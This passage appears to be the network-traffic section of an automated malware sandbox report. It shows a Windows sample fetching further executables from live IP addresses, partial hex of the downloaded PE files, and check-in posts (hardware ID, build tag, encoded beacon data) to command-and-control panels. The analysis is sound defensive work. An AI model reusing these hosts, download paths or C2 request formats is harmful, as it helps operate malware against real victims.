Dec 27, 2024 09:03:45.503951073 CET	443	49936	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:45.503964901 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:45.503977060 CET	443	49936	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:45.504110098 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:45.504143953 CET	443	49936	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:45.504167080 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:45.504300117 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:45.504342079 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:45.551330090 CET	443	49936	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:45.551517963 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:45.551538944 CET	443	49936	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:45.551568031 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:45.551584005 CET	443	49936	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:45.551628113 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:45.551646948 CET	443	49936	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:45.657783985 CET	49931	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:45.662740946 CET	49939	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:45.777683020 CET	80	49931	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:45.777740002 CET	49931	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:45.782215118 CET	80	49939	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:45.782290936 CET	49939	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:45.782517910 CET	49939	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:45.902731895 CET	80	49939	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:47.176275969 CET	80	49939	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:47.180119991 CET	49939	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:48.684726954 CET	49939	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:48.685009956 CET	49948	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:48.804620028 CET	80	49948	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:48.804647923 CET	80	49939	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:48.804706097 CET	49948	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:48.804743052 CET	49939	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:48.804933071 CET	49948	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:48.924437046 CET	80	49948	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:52.809319019 CET	49948	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:54.436785936 CET	49960	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:54.556797981 CET	80	49960	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:54.557138920 CET	49960	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:54.557260990 CET	49960	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:54.676840067 CET	80	49960	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:55.952310085 CET	80	49960	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:55.952578068 CET	49960	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:57.466094017 CET	49960	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:57.466461897 CET	49969	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:57.585936069 CET	80	49969	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:57.585968971 CET	80	49960	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:57.586091042 CET	49960	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:57.586117029 CET	49969	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:57.586400986 CET	49969	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:57.705851078 CET	80	49969	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:58.988954067 CET	80	49969	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:58.989119053 CET	49969	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:00.608521938 CET	49969	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:00.608798981 CET	49976	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:00.728301048 CET	80	49976	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:00.728351116 CET	80	49969	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:00.728522062 CET	49969	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:00.728796959 CET	49976	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:00.728796959 CET	49976	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:00.848355055 CET	80	49976	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:02.060585022 CET	80	49976	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:02.060699940 CET	49976	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:03.577699900 CET	49976	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:03.578064919 CET	49982	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:03.697700024 CET	80	49976	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:03.697729111 CET	80	49982	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:03.697822094 CET	49976	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:03.697844982 CET	49982	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:03.700413942 CET	49982	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:03.819972992 CET	80	49982	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:05.036007881 CET	80	49982	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:05.036081076 CET	49982	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:06.655642033 CET	49982	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:06.655951977 CET	49992	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:06.668776989 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:04:06.775477886 CET	80	49992	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:06.775578022 CET	80	49982	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:06.775593996 CET	49992	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:06.775638103 CET	49982	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:06.775960922 CET	49992	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:06.788579941 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:04:06.788625002 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:04:06.895543098 CET	80	49992	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:09.199542046 CET	80	49992	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:09.199609041 CET	49992	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:10.719502926 CET	49992	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:10.719903946 CET	50002	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:10.839344978 CET	80	49992	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:10.839401960 CET	49992	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:10.839649916 CET	80	50002	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:10.839723110 CET	50002	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:10.840568066 CET	50002	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:10.960047960 CET	80	50002	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:12.224227905 CET	80	50002	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:12.224293947 CET	50002	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:13.874963045 CET	50002	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:13.875250101 CET	50009	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:13.994777918 CET	80	50009	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:13.994848967 CET	80	50002	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:13.994925022 CET	50002	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:13.994934082 CET	50009	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:13.995203972 CET	50009	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:14.114682913 CET	80	50009	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:15.438868999 CET	80	50009	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:15.438936949 CET	50009	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:16.955445051 CET	50009	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:16.955769062 CET	50014	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:17.075426102 CET	80	50014	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:17.075447083 CET	80	50009	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:17.075532913 CET	50014	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:17.075557947 CET	50009	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:17.078140974 CET	50014	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:04:17.197580099 CET	80	50014	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:25.528327942 CET	443	49936	104.21.23.76	192.168.2.11
Dec 27, 2024 09:04:25.528407097 CET	443	49936	104.21.23.76	192.168.2.11
Dec 27, 2024 09:04:25.528475046 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:04:27.448821068 CET	80	50014	185.215.113.43	192.168.2.11
Dec 27, 2024 09:04:27.448894978 CET	50014	80	192.168.2.11	185.215.113.43

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 09:02:14.969120979 CET	56480	53	192.168.2.11	1.1.1.1
Dec 27, 2024 09:02:15.107115030 CET	53	56480	1.1.1.1	192.168.2.11
Dec 27, 2024 09:03:28.894721031 CET	62332	53	192.168.2.11	1.1.1.1
Dec 27, 2024 09:03:29.221096992 CET	53	62332	1.1.1.1	192.168.2.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 09:02:14.969120979 CET	192.168.2.11	1.1.1.1	0xa7fa	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:03:28.894721031 CET	192.168.2.11	1.1.1.1	0x1827	Standard query (0)	pancakedipyps.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 09:02:15.107115030 CET	1.1.1.1	192.168.2.11	0xa7fa	No error (0)	mindhandru.buzz	104.21.11.101	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:02:15.107115030 CET	1.1.1.1	192.168.2.11	0xa7fa	No error (0)	mindhandru.buzz	172.67.165.185	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:03:29.221096992 CET	1.1.1.1	192.168.2.11	0x1827	No error (0)	pancakedipyps.click	104.21.23.76	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:03:29.221096992 CET	1.1.1.1	192.168.2.11	0x1827	No error (0)	pancakedipyps.click	172.67.209.202	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

pancakedipyps.click

185.215.113.16

185.215.113.206

185.215.113.43

31.41.244.11

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49768	185.215.113.16	80	7496	C:\Users\user\Desktop\vVJvxAfBDM.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:02:35.389080048 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 09:02:36.850030899 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:02:35 GMT Content-Type: application/octet-stream Content-Length: 5242880 Last-Modified: Fri, 27 Dec 2024 07:41:34 GMT Connection: keep-alive ETag: "676e5a2e-500000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 10 50 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 50 00 00 04 00 00 74 b3 50 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(P@@PtP@M$a$$ $$@.rsrc$$@.idata $$@frhnetpr@+$4+$@tbiteucnPO@.taggant0P"O@
Dec 27, 2024 09:02:36.850070953 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:02:36.850087881 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:02:36.850101948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:02:36.850116968 CET	1236	IN	Data Raw: 56 f0 81 0e 5f ef 52 11 3a ef 56 0b 80 63 ed db 56 ef 5e c3 80 64 5f a0 c5 d8 71 0b 90 63 e5 8d 85 cd 70 be fa 8b 0c 94 cb 3e 89 0e 15 ef 6e 6c 1c 0d 71 94 cb 3e 75 6d 14 0e 71 94 cd 3e 89 0e 15 ef 65 11 5f ef 69 fe 86 64 5f a0 c5 d8 71 0b 0f 53 Data Ascii: V_R:VcV^d_qcp>nlq>umq>e_id_qSV{P-_V.T-_Vlz#CuVp>uo#)wausA{qOmmpb`c{qU`>giI}sA{qOG&xpbWV{Nm8{q
Dec 27, 2024 09:02:36.850133896 CET	1236	IN	Data Raw: 56 f2 2e 68 d0 bb fd 89 d1 64 fe 8d bf cb 70 be 62 8a 0c 94 cb bc 89 97 44 7b 71 0b d0 17 70 94 56 52 f3 95 56 7b bb b9 56 7b 71 09 e0 c7 70 94 56 53 9d ad 54 7b e4 7d ca e8 69 93 5f f6 2f 95 cd 3e 5d 6c 34 0b 71 94 cb 63 ef 94 a1 1b ec 16 29 7b Data Ascii: V.hdpbD{qpVRV{V{qpVST{}i_/>]l4qc){ qA&hpb#W{){!iW;D{q3E{qWUwsW={L-bVWdqmqe{`AzqS}zF{q])dmW={*@V{p
Dec 27, 2024 09:02:36.850239992 CET	1236	IN	Data Raw: fa 8b 0c 94 ae c7 56 d3 56 64 5f 28 c6 d8 71 09 61 7c e6 cf 55 53 35 88 56 7b e4 7d d0 40 fe b8 cb 3e e5 0e 15 ef 5d c4 83 64 5f a0 c5 d8 71 ec ba 06 2c 94 83 64 5f 38 c5 d8 71 93 a1 17 e6 cf 55 f2 2e 9c 2d 77 65 94 56 f0 79 0e 56 ef 56 11 3a ef Data Ascii: VVd_(qa\|US5V{}@>]d_q,d_8qU.-weVyVV:ZqC@/V&p>U~KI{qcCJ{q%Qmdpb/I{qSV{SV{Yeq-eVWdqmwq]VdI{qpVSV{U{qpVyp}iU\
Dec 27, 2024 09:02:36.850256920 CET	1236	IN	Data Raw: cb 3e 79 6d dc 7c 71 94 cd 3e 95 0e 15 ef 65 11 3a ef 69 c3 86 64 5f a0 c5 d8 71 0b 12 53 21 8c 56 7b 84 ee c9 fe 89 96 56 64 22 97 40 97 e0 f0 56 f6 3d 8f c9 3d 72 6c 90 7c 71 94 cb 63 e5 ce 3a fe 70 e1 79 fe b1 e1 7d cb 18 97 40 2f e2 f0 56 f6 Data Ascii: >ym\|q>e:id_qS!V{Vd"@V==rl\|qc:py}@/VmXdqd_8qG1QSmV{USeV{:JpN!@/Vm4\|qc@:BK,1q{qV8XAK,VzGO{qKUw9qW={1qcq/lz3O{q={.Ddp
Dec 27, 2024 09:02:36.850271940 CET	1236	IN	Data Raw: 04 f2 5e 50 c4 d8 71 0b a5 7f 72 e5 52 f0 01 8c cd ea 69 0b 95 73 ee 55 a1 78 ea cd 4a f0 2e d0 d1 bb fd ee cb 33 79 10 15 6b a9 95 55 7b 71 94 d1 b2 fd ac d3 22 71 e0 74 20 a2 1e 4d f0 a1 0a 40 bf e2 f0 56 f0 02 90 55 eb 6d 0b a4 73 ea e5 4e f0 Data Ascii: ^PqrRisUxJ.3ykU{q"qt M@VUmsN:ewJVSi^PqrRisUxJ.3ykU{q"qt M@VUmsN:ewJVSi^PqrRisUx
Dec 27, 2024 09:02:36.850289106 CET	1236	IN	Data Raw: 76 05 2c 94 ae 2b 57 d3 56 98 2d 06 b2 7b 89 8f 77 7b 71 ea 4b d3 31 b6 93 7b 09 c8 78 38 71 33 b1 f1 0c 94 2e 6b 50 94 56 d1 6e ec be 05 2c 94 ae db 57 d3 56 98 21 0a b2 7b 89 7b 77 7b 71 13 11 33 0b 80 ae d3 57 d3 56 d3 f1 b7 93 7b cc 9d cb d8 Data Ascii: v,+WV-{w{qK1{x8q3.kPVn,WV!{{w{q3WV{qlq<w8q,OVSV{WV{qlqv\|w8q.,VSV{cPVi{qlqrw8qr,VSV{Qaf,?PV{x{qN{w8q3I.W
Dec 27, 2024 09:02:36.969944000 CET	1236	IN	Data Raw: ac 03 09 ec 73 38 71 ec d2 18 2c 94 f3 43 eb f0 56 53 41 ba 56 7b 0b 86 ae 9b 4c d3 56 d3 c1 b0 93 7b cc 05 ca d8 71 6c 7c 01 71 94 ac 76 09 54 72 38 71 ec 06 18 2c 94 f3 37 ea f0 56 53 6d ba 56 7b 0b 88 ae 5b 4d d3 56 d3 81 b0 93 7b cc 4d cc d8 Data Ascii: s8q,CVSAV{LV{ql\|qvTr8q,7VSmV{[MV{Mql(qpr8qJ,VSV{MVA{qlq)B){r8q3M.ZV^,MV{\|{qB{Tq8q3.ZVg>,SNV9{}{qHy{q8q3.Z
Dec 27, 2024 09:02:45.613074064 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 09:02:46.086361885 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:02:45 GMT Content-Type: application/octet-stream Content-Length: 3241472 Last-Modified: Fri, 27 Dec 2024 07:41:43 GMT Connection: keep-alive ETag: "676e5a37-317600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 80 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@172@Wke10e1 @.rsrc@.idata @guulvnfq**@wreswaohp1N1@.taggant01"T1@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49793	185.215.113.206	80	7996	C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:02:48.307857037 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 27, 2024 09:02:49.689218998 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:02:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 27, 2024 09:02:49.692519903 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJJKEGHJKFHJKFHDHCF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 41 33 39 37 35 32 39 41 45 37 32 32 35 38 33 35 38 30 30 35 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 2d 2d 0d 0a Data Ascii: ------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="hwid"7A397529AE722583580058------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="build"stok------IJJJKEGHJKFHJKFHDHCF--
Dec 27, 2024 09:02:50.143793106 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:02:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49831	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:03:05.128814936 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 09:03:06.220146894 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:03:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49840	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:03:07.853169918 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 09:03:09.252074003 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:03:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49846	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:03:10.992724895 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 09:03:12.379826069 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:03:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49854	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
